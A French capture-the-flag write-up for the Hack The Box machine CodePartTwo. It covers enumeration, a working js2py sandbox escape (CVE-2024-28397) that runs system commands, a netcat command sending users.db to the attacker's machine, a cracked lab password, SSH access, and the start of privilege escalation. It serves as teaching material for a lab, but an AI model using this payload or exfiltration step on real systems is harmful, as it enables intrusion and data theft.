[{"categories":["Mes writeups"],"content":" Introduction La machine CodePartTwo de Hack The Box, classée HTB Easy, propose un scénario complet mêlant exécution de code via une sandbox JavaScript basée sur js2py, récupération d’identifiants et accès SSH sur un environnement Linux. Tu y découvres comment exploiter une faiblesse côté application pour obtenir une première prise de pied, puis analyser un outil de sauvegarde mal configuré afin d’exécuter des commandes avec les privilèges root. Ce writeup détaille chaque étape, de l’énumération initiale jusqu’à l’escalade de privilèges, avec une approche claire et reproductible adaptée aux débutants en CTF. Dans ce writeup, tu exploites une sandbox js2py (CVE-2024-28397), récupères des identifiants via SQLite, puis abuses d’un outil de backup pour obtenir un accès root. Énumération Dans un challenge CTF Hack The Box, tu commences toujours par une phase d’énumération complète. C’est une étape incontournable : elle te permet d’identifier précisément ce que la machine expose afin de repérer les points d’entrée exploitables. Concrètement, l’objectif de cette phase d’énumération est d’identifier : quels ports sont ouverts quels services sont accessibles si une application web est présente quels répertoires sont exposés si des sous-domaines ou vhosts peuvent être exploités Pour réaliser cette énumération de manière structurée et reproductible, tu peux utiliser les trois scripts suivants : mon-nmap : identifie les ports ouverts et les services en écoute mon-recoweb : énumère les répertoires et fichiers accessibles via le service web mon-subdomains : détecte la présence éventuelle de sous-domaines et de vhosts Tu retrouves ces outils dans la section Outils / Mes scripts. Pour obtenir des résultats pertinents dans un contexte CTF Hack The Box, tu utilises une wordlist dédiée, installée au préalable grâce au script make-htb-wordlist. Cette wordlist est conçue pour couvrir les technologies couramment rencontrées sur Hack The Box et est installée par défaut dans : /usr/share/wordlists/htb-dns-vh-5000.txt Cette wordlist est conçue pour couvrir les technologies couramment rencontrées sur Hack The Box. Avant de lancer les scans, vérifie que le nom d’hôte codeparttwo.htb résout correctement vers l’adresse IP de la cible. Sur HTB, cela passe généralement par une entrée dans /etc/hosts. Ajoute l’entrée 10.129.x.x codeparttwo.htb dans /etc/hosts. sudo nano /etc/hosts Lance ensuite le script mon-nmap pour obtenir une vue claire des ports et services exposés : mon-nmap codeparttwo.htb # Résultats dans le répertoire scans_nmap/ # - scans_nmap/full_tcp_scan.txt # - scans_nmap/enum_ftp_smb_scan.txt # - scans_nmap/aggressive_vuln_scan.txt # - scans_nmap/cms_vuln_scan.txt # - scans_nmap/udp_vuln_scan.txt Scan initial Le scan initial TCP complet (scans_nmap/full_tcp_scan.txt) te révèle les ports ouverts suivants : Note : les IP et timestamps peuvent varier selon les resets HTB ; l’important ici est la surface exposée. # Nmap 7.98 scan initiated Sat Mar 7 10:32:21 2026 as: /usr/lib/nmap/nmap --privileged -Pn -p- --min-rate 5000 -T4 -oN scans_nmap/full_tcp_scan.txt codeparttwo.htb Nmap scan report for codeparttwo.htb (10.129.x.x) Host is up (0.013s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 8000/tcp open http-alt # Nmap done at Sat Mar 7 10:32:30 2026 -- 1 IP address (1 host up) scanned in 9.46 seconds Scan FTP/SMB (si services détectés) Après le scan initial, le script enchaîne automatiquement avec une phase d’énumération ciblée FTP/SMB si l’un des services suivants est détecté : FTP sur le port 21 SMB sur le port 139 et/ou 445 Les résultats de cette énumération sont enregistrés dans le fichier scans_nmap/enum_ftp_smb_scan.txt # mon-nmap — ENUM FTP / SMB # Target : codeparttwo.htb # Date : 2026-03-07T10:32:31+01:00 Aucun service FTP (21) ni SMB (139/445) détecté. Ports ouverts détectés : 22,8000 Scan agressif Le script enchaîne ensuite automatiquement sur un scan agressif orienté vulnérabilités. Voici le résultat (scans_nmap/aggressive_vuln_scan.txt) : [+] Scan agressif orienté vulnérabilités (CTF-perfect LEGACY) pour codeparttwo.htb [+] Commande utilisée : nmap -Pn -A -sV -p\u0026#34;22,8000\u0026#34; --script=\u0026#34;(http-vuln-* or http-shellshock or ssl-heartbleed) and not (http-vuln-cve2017-1001000 or http-sql-injection or ssl-cert or sslv2 or ssl-dh-params)\u0026#34; --script-timeout=30s -T4 \u0026#34;codeparttwo.htb\u0026#34; # Nmap 7.98 scan initiated Sat Mar 7 10:32:31 2026 as: /usr/lib/nmap/nmap --privileged -Pn -A -sV -p22,8000 \u0026#34;--script=(http-vuln-* or http-shellshock or ssl-heartbleed) and not (http-vuln-cve2017-1001000 or http-sql-injection or ssl-cert or sslv2 or ssl-dh-params)\u0026#34; --script-timeout=30s -T4 -oN scans_nmap/aggressive_vuln_scan_raw.txt codeparttwo.htb Nmap scan report for codeparttwo.htb (10.129.x.x) Host is up (0.012s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0) 8000/tcp open http Gunicorn 20.0.4 |_http-server-header: gunicorn/20.0.4 Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14 Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 22/tcp) HOP RTT ADDRESS 1 58.42 ms 10.10.x.x 2 7.61 ms codeparttwo.htb (10.129.x.x) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sat Mar 7 10:32:45 2026 -- 1 IP address (1 host up) scanned in 14.82 seconds Scan ciblé CMS Vient ensuite le scan ciblé CMS (scans_nmap/cms_vuln_scan.txt). # Nmap 7.98 scan initiated Sat Mar 7 10:32:45 2026 as: /usr/lib/nmap/nmap --privileged -Pn -sV -p22,8000 --script=http-wordpress-enum,http-wordpress-brute,http-wordpress-users,http-drupal-enum,http-drupal-enum-users,http-joomla-brute,http-generator,http-robots.txt,http-title,http-headers,http-methods,http-enum,http-devframework,http-cakephp-version,http-php-version,http-config-backup,http-backup-finder,http-sitemap-generator --script-timeout=30s -T4 -oN scans_nmap/cms_vuln_scan.txt codeparttwo.htb Nmap scan report for codeparttwo.htb (10.129.x.x) Host is up (0.013s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0) 8000/tcp open http Gunicorn 20.0.4 |_http-devframework: Couldn\u0026#39;t determine the underlying framework or CMS. Try increasing \u0026#39;httpspider.maxpagecount\u0026#39; value to spider more pages. |_http-server-header: gunicorn/20.0.4 |_http-title: Welcome to CodePartTwo | http-methods: |_ Supported Methods: GET HEAD OPTIONS | http-headers: | Server: gunicorn/20.0.4 | Date: Sat, 07 Mar 2026 09:32:54 GMT | Connection: close | Content-Type: text/html; charset=utf-8 | Content-Length: 2212 | |_ (Request type: HEAD) | http-sitemap-generator: | Directory structure: | / | Other: 4 | /static/css/ | css: 1 | /static/js/ | js: 1 | Longest directory structure: | Depth: 2 | Dir: /static/css/ | Total files found (by extension): |_ Other: 4; css: 1; js: 1 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sat Mar 7 10:33:23 2026 -- 1 IP address (1 host up) scanned in 37.53 seconds Scan UDP rapide Le scan UDP rapide (scans_nmap/udp_vuln_scan.txt). # Nmap 7.98 scan initiated Sat Mar 7 10:33:23 2026 as: /usr/lib/nmap/nmap --privileged -n -Pn -sU --top-ports 20 -T4 -oN scans_nmap/udp_vuln_scan.txt codeparttwo.htb Nmap scan report for codeparttwo.htb (10.129.x.x) Host is up (0.023s latency). PORT STATE SERVICE 53/udp open|filtered domain 67/udp open|filtered dhcps 68/udp open|filtered dhcpc 69/udp closed tftp 123/udp closed ntp 135/udp closed msrpc 137/udp closed netbios-ns 138/udp closed netbios-dgm 139/udp open|filtered netbios-ssn 161/udp closed snmp 162/udp open|filtered snmptrap 445/udp closed microsoft-ds 500/udp open|filtered isakmp 514/udp closed syslog 520/udp closed route 631/udp open|filtered ipp 1434/udp closed ms-sql-m 1900/udp closed upnp 4500/udp closed nat-t-ike 49152/udp closed unknown # Nmap done at Sat Mar 7 10:33:32 2026 -- 1 IP address (1 host up) scanned in 9.56 seconds Énumération des chemins web Pour la découverte des chemins web, tu utilises le script dédié mon-recoweb mon-recoweb codeparttwo.htb # Résultats dans le répertoire scans_recoweb/ # - scans_recoweb/RESULTS_SUMMARY.txt ← vue d’ensemble des découvertes # - scans_recoweb/dirb.log # - scans_recoweb/dirb_hits.txt # - scans_recoweb/ffuf_dirs.txt # - scans_recoweb/ffuf_dirs_hits.txt # - scans_recoweb/ffuf_files.txt # - scans_recoweb/ffuf_files_hits.txt # - scans_recoweb/ffuf_dirs.json # - scans_recoweb/ffuf_files.json Le fichier RESULTS_SUMMARY.txt te permet alors d’identifier rapidement les chemins réellement intéressants, sans avoir à parcourir l’ensemble des logs générés par les outils. ===== mon-recoweb — RÉSUMÉ DES RÉSULTATS ===== Commande principale : /home/kali/.local/bin/mes-scripts/mon-recoweb Script : mon-recoweb v2.2.1 Cible : codeparttwo.htb:8000 Périmètre : / Date début : 2026-03-07 10:55:34 Commandes exécutées (exactes) : [dirb — découverte initiale] dirb http://codeparttwo.htb:8000/ /usr/share/wordlists/dirb/common.txt -r | tee scans_recoweb/codeparttwo.htb_8000/dirb.log [ffuf — énumération des répertoires] ffuf -u http://codeparttwo.htb:8000/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -t 30 -timeout 10 -fc 404 -of json -o scans_recoweb/codeparttwo.htb_8000/ffuf_dirs.json 2\u0026gt;\u0026amp;1 | tee scans_recoweb/codeparttwo.htb_8000/ffuf_dirs.log [ffuf — énumération des fichiers] ffuf -u http://codeparttwo.htb:8000/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt -t 30 -timeout 10 -fc 404 -of json -o scans_recoweb/codeparttwo.htb_8000/ffuf_files.json 2\u0026gt;\u0026amp;1 | tee scans_recoweb/codeparttwo.htb_8000/ffuf_files.log Processus de génération des résultats : - Les sorties JSON produites par ffuf constituent la source de vérité. - Les entrées pertinentes sont extraites via jq (URL, code HTTP, taille de réponse). - Les réponses assimilables à des soft-404 sont filtrées par comparaison des tailles et des codes HTTP. - Les URLs finales sont reconstruites à partir du périmètre scanné (racine du site ou sous-répertoire ciblé). - Les résultats sont normalisés sous la forme : http://cible/chemin (CODE:xxx|SIZE:yyy) - Les chemins sont ensuite classés par type : • répertoires (/chemin/) • fichiers (/chemin.ext) - Le fichier RESULTS_SUMMARY.txt est généré par agrégation finale, sans retraitement manuel, garantissant la reproductibilité complète du scan. ---------------------------------------------------- === Résultat global (agrégé) === http://codeparttwo.htb:8000/dashboard (CODE:302|SIZE:199) http://codeparttwo.htb:8000/dashboard/ (CODE:302|SIZE:199) http://codeparttwo.htb:8000/download (CODE:200|SIZE:10708) http://codeparttwo.htb:8000/download/ (CODE:200|SIZE:10708) http://codeparttwo.htb:8000/login (CODE:200|SIZE:667) http://codeparttwo.htb:8000/login/ (CODE:200|SIZE:667) http://codeparttwo.htb:8000/logout (CODE:302|SIZE:189) http://codeparttwo.htb:8000/logout/ (CODE:302|SIZE:189) http://codeparttwo.htb:8000/register (CODE:200|SIZE:651) http://codeparttwo.htb:8000/register/ (CODE:200|SIZE:651) === Détails par outil === [DIRB] http://codeparttwo.htb:8000/dashboard (CODE:302|SIZE:199) http://codeparttwo.htb:8000/download (CODE:200|SIZE:10708) http://codeparttwo.htb:8000/login (CODE:200|SIZE:667) http://codeparttwo.htb:8000/logout (CODE:302|SIZE:189) http://codeparttwo.htb:8000/register (CODE:200|SIZE:651) [FFUF — DIRECTORIES] http://codeparttwo.htb:8000/dashboard/ (CODE:302|SIZE:199) http://codeparttwo.htb:8000/download/ (CODE:200|SIZE:10708) http://codeparttwo.htb:8000/login/ (CODE:200|SIZE:667) http://codeparttwo.htb:8000/logout/ (CODE:302|SIZE:189) http://codeparttwo.htb:8000/register/ (CODE:200|SIZE:651) [FFUF — FILES] Recherche de vhosts Enfin, teste rapidement la présence de vhosts avec le script mon-subdomains mon-subdomains codeparttwo.htb # Résultats dans le répertoire scans_subdomains/ # - scans_subdomains/scan_vhosts.txt Si aucun vhost distinct n’est détecté, ce fichier te permet malgré tout de confirmer que le fuzzing n’a rien révélé d’exploitable. === mon-subdomains codeparttwo.htb START === Script : mon-subdomains Version : mon-subdomains 2.0.0 Date : 2026-03-09 09:54:32 Domaine : codeparttwo.htb IP : 10.129.x.x Mode : large Master : /usr/share/wordlists/htb-dns-vh-5000.txt Codes : 200,301,302,401,403 (strict=1) VHOST totaux : 0 - (aucun) --- Détails par port --- Port 8000 (http) Baseline#1: code=200 size=2212 words=202 (Host=dewd945nez.codeparttwo.htb) Baseline#2: code=200 size=2212 words=202 (Host=q1i70d4de3.codeparttwo.htb) Baseline#3: code=200 size=2212 words=202 (Host=v42borj2u6.codeparttwo.htb) VHOST (0) - (fuzzing sauté : wildcard probable) - (explication : réponse identique quel que soit Host → vhost-fuzzing non discriminant) === mon-subdomains codeparttwo.htb END === Prise pied Sur cette machine Hack The Box HTB Easy CodePartTwo, la phase d’énumération a permis d’identifier deux éléments importants : un service SSH accessible sur le port 22 une application web exposée sur le port 8000, servie par Gunicorn 20.0.4 Lorsque l’application est servie par Gunicorn, tu peux en déduire que le backend est en Python. Gunicorn est en effet un serveur WSGI couramment utilisé pour déployer des applications Python, notamment celles développées avec des frameworks comme Flask, FastAPI ou Django. Analyse de l’application web (Gunicorn / Python) En ouvrant l’application dans ton navigateur à l’adresse suivante : http://codeparttwo.htb:8000 tu arrives sur la page d’accueil de l’application CodePartTwo. La page présente brièvement le projet CodePartTwo, une plateforme qui permet aux développeurs d’écrire, sauvegarder et exécuter du code JavaScript directement depuis l’application. L’interface reste volontairement simple et met en avant trois actions principales : Login Register Download App Les boutons Login et Register permettent respectivement de se connecter ou de créer un compte utilisateur afin d’accéder aux fonctionnalités de l’application. Le bouton Download App, lui, est particulièrement intéressant dans un contexte Hack The Box : il te permet de télécharger directement l’application. Dans un CTF, lorsque le code source d’une application est accessible, cela représente souvent une opportunité importante. L’analyse du code peut en effet t’aider à comprendre le fonctionnement interne de l’application, à identifier les routes disponibles, et parfois à repérer une vulnérabilité exploitable. Dans ce contexte, le plus utile est donc de **** afin d’analyser son code plus en détail. Téléchargement et analyse du code source (Download App) Téléchargement de l’application Comme tu l’as vu précédemment, le bouton Download App présent sur la page d’accueil permet de récupérer directement l’application. En cliquant dessus, ton navigateur télécharge une archive contenant le code source du projet. Tu peux également récupérer ce fichier depuis la ligne de commande avec curl : curl -O http://codeparttwo.htb:8000/download Une fois le téléchargement terminé, il te suffit d’extraire l’archive pour accéder aux fichiers de l’application. unzip download Tu disposes alors d’une copie complète du code source de l’application web sur ta machine. Dans un CTF Hack The Box, pouvoir analyser le code source est souvent un avantage majeur. Cela permet d’identifier les routes disponibles, de comprendre comment les données sont traitées, et surtout de repérer plus facilement une vulnérabilité exploitable. Il faut maintenant examiner la structure du projet afin d’identifier les fichiers les plus intéressants. Analyse de la structure du projet Après extraction de l’archive, tu obtiens l’arborescence suivante : app.py requirements.txt instance/ static/ templates/ L’archive contient plusieurs fichiers et répertoires, mais le fichier app.py est celui qu’il faut analyser en priorité. Dans de nombreuses applications Python basées sur Flask ou des frameworks similaires, ce fichier constitue le point d’entrée de l’application. C’est généralement dans ce fichier que sont définies : les routes de l’application la logique applicative les fonctions qui traitent les données envoyées par les utilisateurs En explorant le répertoire instance/, tu identifies une base de données SQLite nommée users.db. ls instance/ users.db Tu peux l’ouvrir avec sqlite3 afin d’examiner son contenu : sqlite3 instance/users.db Cependant, la base de données présente dans l’archive téléchargée est vide et ne contient aucun utilisateur. Cela suggère que les comptes sont créés directement sur la machine cible lorsque les utilisateurs s’inscrivent via l’application. Pour comprendre comment l’application gère ces comptes, il est utile d’examiner app.py, qui contient la logique principale de l’application. L’analyse de app.py permet de comprendre le fonctionnement interne de l’application et d’identifier les zones où une vulnérabilité peut être présente. Tu peux donc maintenant examiner ce fichier afin d’identifier les différentes fonctionnalités exposées par l’application. Identification de la fonctionnalité d’exécution de code (js2py) En poursuivant l’analyse du projet, deux fichiers sont à examiner en priorité : requirements.txt, qui liste les dépendances Python app.py, qui contient la logique de l’application Le fichier requirements.txt contient notamment : flask==3.0.3 flask-sqlalchemy==3.1.1 js2py==0.74 Les dépendances Flask et Flask-SQLAlchemy confirment que l’application repose sur une architecture Python classique avec un framework web et une base de données. En revanche, la présence de js2py==0.74 constitue un élément beaucoup plus sensible du point de vue de la sécurité. La bibliothèque js2py permet d’exécuter du code JavaScript directement depuis Python, en embarquant un interpréteur JavaScript dans l’application. Dans un contexte de développement, cela peut servir à permettre aux utilisateurs d’écrire ou tester du code JavaScript. Dans un CTF Hack The Box, la présence d’un mécanisme d’exécution de code est un point à examiner en priorité : si l’environnement n’est pas correctement isolé, il peut être possible de sortir de la sandbox et d’interagir avec le système sous-jacent. Il reste alors à voir où et comment cette bibliothèque est utilisée dans l’application. En examinant ensuite le fichier app.py, tu retrouves justement l’import de cette bibliothèque : import js2py Un peu plus loin dans le code, une route attire particulièrement l’attention : @app.route(\u0026#34;/run_code\u0026#34;, methods=[\u0026#34;POST\u0026#34;]) def run_code(): Le nom de cette route est déjà très explicite : /run_code suggère une fonctionnalité d’exécution de code. En lisant la fonction associée, tu peux voir que l’application récupère le contenu envoyé par l’utilisateur, puis le transmet à js2py pour exécution : @app.route(\u0026#34;/run_code\u0026#34;, methods=[\u0026#34;POST\u0026#34;]) def run_code(): user_code = request.json.get(\u0026#34;code\u0026#34;) context = js2py.EvalJs() result = context.eval(user_code) return jsonify({\u0026#34;result\u0026#34;: result}) Cette portion de code montre clairement le fonctionnement : l’utilisateur envoie du code dans le champ code l’application crée un contexte JavaScript avec js2py.EvalJs() le contenu reçu est exécuté avec context.eval(user_code) le résultat est renvoyé au format JSON La route /run_code permet donc d’exécuter directement du code JavaScript côté serveur via js2py. Il faut ensuite tester concrètement cette route afin de vérifier si le serveur exécute effectivement le code JavaScript envoyé par l’utilisateur. Exploitation de la sandbox js2py Test de l’API /run_code (exécution de code) L’analyse du fichier app.py montre que la route /run_code reçoit du code JavaScript envoyé par l’utilisateur et l’exécute à l’aide de la bibliothèque js2py. La première étape consiste donc à tester cette API en pratique afin de vérifier si le serveur exécute réellement le code JavaScript envoyé dans la requête. Plutôt que d’utiliser l’interface web, il est souvent plus simple de tester directement l’API avec curl, ce qui permet d’envoyer des requêtes HTTP personnalisées depuis le terminal. Tu peux pour cela envoyer une requête HTTP POST vers cette route : curl -X POST http://codeparttwo.htb:8000/run_code \\ -H \u0026#34;Content-Type: application/json\u0026#34; \\ -d \u0026#39;{\u0026#34;code\u0026#34;:\u0026#34;1+1\u0026#34;}\u0026#39; Dans cette requête : la méthode POST est utilisée pour appeler l’API l’en-tête Content-Type: application/json indique que les données sont envoyées au format JSON le champ code contient le code JavaScript à exécuter Si l’API fonctionne comme suggéré par le code source, le serveur doit exécuter l’expression JavaScript 1+1 puis renvoyer le résultat dans la réponse. La réponse obtenue confirme ce comportement : {\u0026#34;result\u0026#34;: 2} Cela signifie que : la route /run_code est bien accessible le code JavaScript envoyé dans la requête est effectivement exécuté côté serveur le résultat de l’exécution est renvoyé au format JSON Cette étape confirme donc que l’application expose un mécanisme d’exécution de code JavaScript côté serveur. Tu peux maintenant vérifier si l’environnement js2py est correctement isolé, ou s’il est possible d’interagir avec les objets Python sous-jacents. Si ce n’est pas le cas, il pourrait être possible de sortir de la sandbox et d’accéder au système. Évasion de la sandbox js2py (CVE-2024-28397) Le test confirme que /run_code exécute du code JavaScript côté serveur via js2py. En théorie, cette exécution devrait se faire dans une sandbox, c’est-à-dire un environnement isolé censé empêcher l’accès au système ou aux objets internes de l’application. À ce stade, une bonne pratique consiste à rechercher si la bibliothèque utilisée présente des vulnérabilités connues. Une recherche rapide du type : js2py 0.74 poc exploit github permet rapidement de trouver un Proof of Concept décrivant une vulnérabilité dans js2py 0.74. La première réponse de cette recherche renvoie vers le dépôt GitHub de Marven11, qui décrit une évasion de la sandbox js2py (CVE-2024-28397) : https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape La plupart des autres articles et analyses disponibles sur Internet se réfèrent d’ailleurs souvent à ce travail initial. Ce PoC montre qu’il est possible de sortir de la sandbox JavaScript et d’accéder à l’environnement Python sous-jacent, ce qui ouvre la voie à l’exécution de commandes sur le serveur. Tu peux maintenant tester cette technique sur l’API /run_code afin de vérifier si l’application est vulnérable. Explication du PoC de Marven11 Dans app.py, on peut voir que l’application tente de sécuriser l’environnement d’exécution avec l’instruction : js2py.disable_pyimport() Cette fonction est censée empêcher l’import de modules Python depuis le code JavaScript exécuté par js2py, afin d’éviter qu’un utilisateur puisse accéder directement aux fonctionnalités du système. Cependant, le PoC publié par Marven11 montre qu’il est possible de contourner cette restriction. L’exploitation repose sur l’utilisation des mécanismes d’introspection de Python accessibles indirectement depuis l’environnement JavaScript. Le payload commence par récupérer certains attributs internes comme __class__ et __base__, puis parcourt les classes Python disponibles en mémoire grâce à la méthode __subclasses__(). Cette recherche permet finalement d’identifier la classe subprocess.Popen, qui peut être utilisée pour exécuter des commandes système. Une fois cette classe trouvée, le PoC l’utilise pour lancer une commande sur le système et récupérer le résultat avec .communicate(). Autrement dit, même si js2py.disable_pyimport() empêche l’import direct de modules Python, il reste possible de remonter vers les objets internes de Python et d’exécuter des commandes système, ce qui permet de sortir de la sandbox js2py. Exploitation du PoC js2py sur la cible Pour vérifier si la cible est vulnérable à cette technique, tu peux adapter le PoC et tester l’exploitation directement depuis l’interface web de l’application. Commence par créer un compte utilisateur via la page Register. Par exemple : noelnac : password123 Une fois l’inscription effectuée, connecte-toi via Login. Tu arrives alors sur le dashboard, qui permet d’exécuter du code JavaScript grâce à la fonctionnalité Run Code. Le principe de ce PoC consiste à utiliser les mécanismes d’introspection de Python pour parcourir les classes actuellement chargées en mémoire, jusqu’à identifier la classe subprocess.Popen, qui permet d’exécuter des commandes système. Tu peux alors copier-coller le payload publié par Marven11 dans l’interface Web. Pour vérifier que le PoC fonctionne correctement, on peut commencer par exécuter une commande simple comme id : let cmd = \u0026#34;id\u0026#34; let hacked, bymarve, n11 let getattr, obj hacked = Object.getOwnPropertyNames({}) bymarve = hacked.__getattribute__ n11 = bymarve(\u0026#34;__getattribute__\u0026#34;) obj = n11(\u0026#34;__class__\u0026#34;).__base__ getattr = obj.__getattribute__ function findpopen(o) { let result; for(let i in o.__subclasses__()) { let item = o.__subclasses__()[i] if(item.__module__ == \u0026#34;subprocess\u0026#34; \u0026amp;\u0026amp; item.__name__ == \u0026#34;Popen\u0026#34;) { return item } if(item.__name__ != \u0026#34;type\u0026#34; \u0026amp;\u0026amp; (result = findpopen(item))) { return result } } } n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate() console.log(n11) n11 En cliquant sur Run Code, l’application renvoie cependant l’erreur suivante : Error: \u0026#39;NoneType\u0026#39; object is not callable Cette erreur provient de la fonction .communicate(). Dans Python, cette méthode renvoie un tuple contenant la sortie standard et la sortie d’erreur de la commande exécutée. Dans notre cas, la sortie de la commande se trouve dans le premier élément du tuple. Il faut donc récupérer cette valeur et la convertir en texte. En modifiant légèrement la dernière ligne du payload, par exemple : n11[0].decode() le résultat est correctement renvoyé par l’application : uid=1001(app) gid=1001(app) groups=1001(app) Cette réponse confirme que le payload parvient bien à sortir de la sandbox js2py et à exécuter une commande système sur le serveur. Extraction de données sensibles via RCE Une fois l’évasion de la sandbox confirmée, tu peux utiliser l’interface web comme une sorte de session distante sur le serveur. Chaque payload exécuté via le bouton Run Code permet de lancer une commande système et d’afficher le résultat dans la zone Output du dashboard. Commence par exécuter quelques commandes simples pour identifier l’environnement : let cmd = \u0026#34;id; whoami; pwd; ls /home/\u0026#34; Après avoir cliqué sur Run Code, l’application renvoie le résultat suivant : uid=1001(app) gid=1001(app) groups=1001(app) app /home/app/app app marco Ces informations permettent déjà d’identifier plusieurs éléments importants : l’application s’exécute avec l’utilisateur app le répertoire de travail est /home/app/app le répertoire /home/ contient deux comptes utilisateurs : app et marco La présence de l’utilisateur marco est particulièrement intéressante, car elle indique qu’un compte système supplémentaire existe sur la machine. À partir de là, tu peux continuer l’exploration du système afin d’identifier des fichiers sensibles accessibles depuis l’application, comme des fichiers de configuration ou des bases de données contenant des identifiants. Récupération de la base SQLite instance/users.db L’analyse du code source de l’application montre également que les comptes utilisateurs ainsi que leurs identifiants sont stockés dans une base de données SQLite nommée users.db, située dans le répertoire instance/ de l’application. Comme l’exécution de commandes système fonctionne désormais, tu peux vérifier si ce fichier est bien présent sur le serveur. Par exemple, l’exécution du payload suivant : let cmd = \u0026#34;ls instance/\u0026#34; renvoie bien : users.db Ce résultat confirme que la base de données users.db est bien accessible dans le répertoire instance/ de l’application. Comme l’exécution de commandes fonctionne maintenant, il est possible de copier la base de données vers ta machine Kali afin de l’analyser localement. Pour cela, tu peux utiliser nc (netcat) afin d’envoyer le fichier depuis la machine cible vers ta machine d’attaque, comme expliqué dans la recette « Copier des fichiers depuis et vers Kali Linux » . Depuis l’interface Run Code, envoie le payload suivant en remplaçant l’adresse IP par celle de ta machine Kali : let cmd = \u0026#34;nc 10.10.x.x 4444 \u0026lt; instance/users.db\u0026#34; Du côté de ta machine Kali, commence par ouvrir un port en écoute afin de recevoir le fichier : nc -lnvp 4444 \u0026gt; local_users.db Lorsque le payload est exécuté, la base de données users.db est alors transférée vers ta machine Kali et enregistrée dans le fichier local_users.db, ce qui permet de l’analyser localement. Analyse de la base SQLite Tu peux maintenant analyser la base de données récupérée avec sqlite3 : sqlite3 local_users.db Dans l’interface SQLite, commence par lister les tables présentes dans la base : .tables Le résultat montre deux tables : code_snippet user La table user est particulièrement intéressante, car elle contient les comptes de l’application. Tu peux d’abord examiner sa structure : .schema user CREATE TABLE user ( id INTEGER NOT NULL, username VARCHAR(80) NOT NULL, password_hash VARCHAR(128) NOT NULL, PRIMARY KEY (id), UNIQUE (username) ); Ce schéma montre que la table stocke : un **identifiant ** un username un hash de mot de passe Tu peux ensuite afficher le contenu de la table : select * from user; La base renvoie alors : 1|marco|649c9d65a206a75f5abe509fe128bce5 2|app|a97588c0e2fa3a024876339e27aeb42e Cette table contient donc deux comptes : marco app L’utilisateur app correspond au compte sous lequel l’application s’exécute sur le serveur. En revanche, l’utilisateur marco est particulièrement intéressant dans le contexte de l’exploitation. Lors de l’exploration du système, tu avais déjà vu que deux répertoires existaient dans /home/ : /home/app /home/marco La présence de marco dans la base confirme donc qu’il s’agit bien d’un compte utilisateur du système, ce qui en fait un bon candidat pour tenter une connexion SSH sur la machine. Crack du hash du mot de passe (MD5) La table user contient un champ password_hash qui stocke le hash du mot de passe des utilisateurs. Pour tenter de retrouver le mot de passe associé à l’utilisateur marco, tu peux soumettre ce hash à un service de recherche de hash public, par exemple crackstation.net. Le mot de passe associé à l’utilisateur marco est : sweetangelbabylove Tu disposes maintenant d’un couple identifiant / mot de passe potentiellement utilisable : marco : sweetangelbabylove Connexion SSH avec les identifiants récupérés Dans de nombreux CTF Hack The Box, les identifiants récupérés peuvent être réutilisés sur d’autres services exposés par la machine, notamment SSH. Tu peux maintenant tester ces identifiants en SSH : ssh marco@codeparttwo.htb Après saisie du mot de passe, la connexion est acceptée et tu obtiens un shell sur la machine. Quelques commandes simples permettent de vérifier le contexte d’exécution : marco@codeparttwo:~$ id; whoami; pwd uid=1000(marco) gid=1000(marco) groups=1000(marco),1003(backups) marco /home/marco marco@codeparttwo:~$ Récupération du flag user.txt Une fois connecté en SSH avec l’utilisateur marco, tu peux lister le contenu de son répertoire personnel : ls -l total 12 drwx------ 7 root root 4096 Apr 6 2025 backups -rw-rw-r-- 1 root root 2893 Jun 18 2025 npbackup.conf -rw-r----- 1 root marco 33 Mar 9 15:07 user.txt Le fichier user.txt est présent dans ce répertoire. Il suffit de l’afficher pour récupérer le flag : cat user.txt c308xxxxxxxxxxxxxxxxxxxxxxxxcebb La lecture de user.txt confirme que tu as réussi ta prise de pied. Il faut maintenant passer à l’escalade de privilèges pour obtenir un accès root. Escalade de privilèges Une fois connecté en SSH en tant que marco, tu disposes d’un premier accès utilisateur sur la machine. L’escalade de privilèges consiste à identifier une commande, un script ou un service exécuté par root que l’utilisateur courant peut influencer pour obtenir une session root. Comme dans tous mes writeups, et conformément à la recette « Privilege Escalation Linux — Méthode structurée pour CTF et HTB » , l’escalade de privilèges commence par une phase d’énumération méthodique : vérification des droits sudo avec sudo -l afin d’identifier des commandes exécutables avec les privilèges root recherche de binaires SUID avec find / -perm -4000 2\u0026gt;/dev/null (les binaires SUID s’exécutent avec les privilèges de leur propriétaire, souvent root) analyse des Linux capabilities avec getcap -r / 2\u0026gt;/dev/null python3 suid3num.py afin d’identifier des binaires disposant de privilèges élevés, puis vérification de leur exploitabilité sur GTFOBins inspection des tâches cron avec cat /etc/crontab afin de repérer d’éventuels scripts ou commandes exécutés automatiquement par root analyse des services locaux avec netstat -tulpn pour identifier d’éventuels services internes accessibles uniquement en local observation des processus exécutés par root avec pspy64 (dans une deuxième session SSH) afin de détecter des scripts ou tâches planifiées lancés automatiquement L’objectif de cette approche n’est pas de tester des exploits au hasard, mais d’identifier une faiblesse logique ou une mauvaise configuration exploitable pour progresser vers root. Si ces vérifications manuelles ne révèlent rien d’exploitable, tu peux alors passer à une énumération automatisée avec linpeas.sh. Cet outil effectue une analyse beaucoup plus exhaustive du système. Il est plus complet, mais aussi plus lourd, et produit souvent beaucoup d’informations qu’il faudra ensuite trier et analyser. Sudo -l Tu commences toujours par vérifier les droits sudo : marco@codeparttwo:~$ sudo -l Matching Defaults entries for marco on codeparttwo: env_reset, mail_badpass, 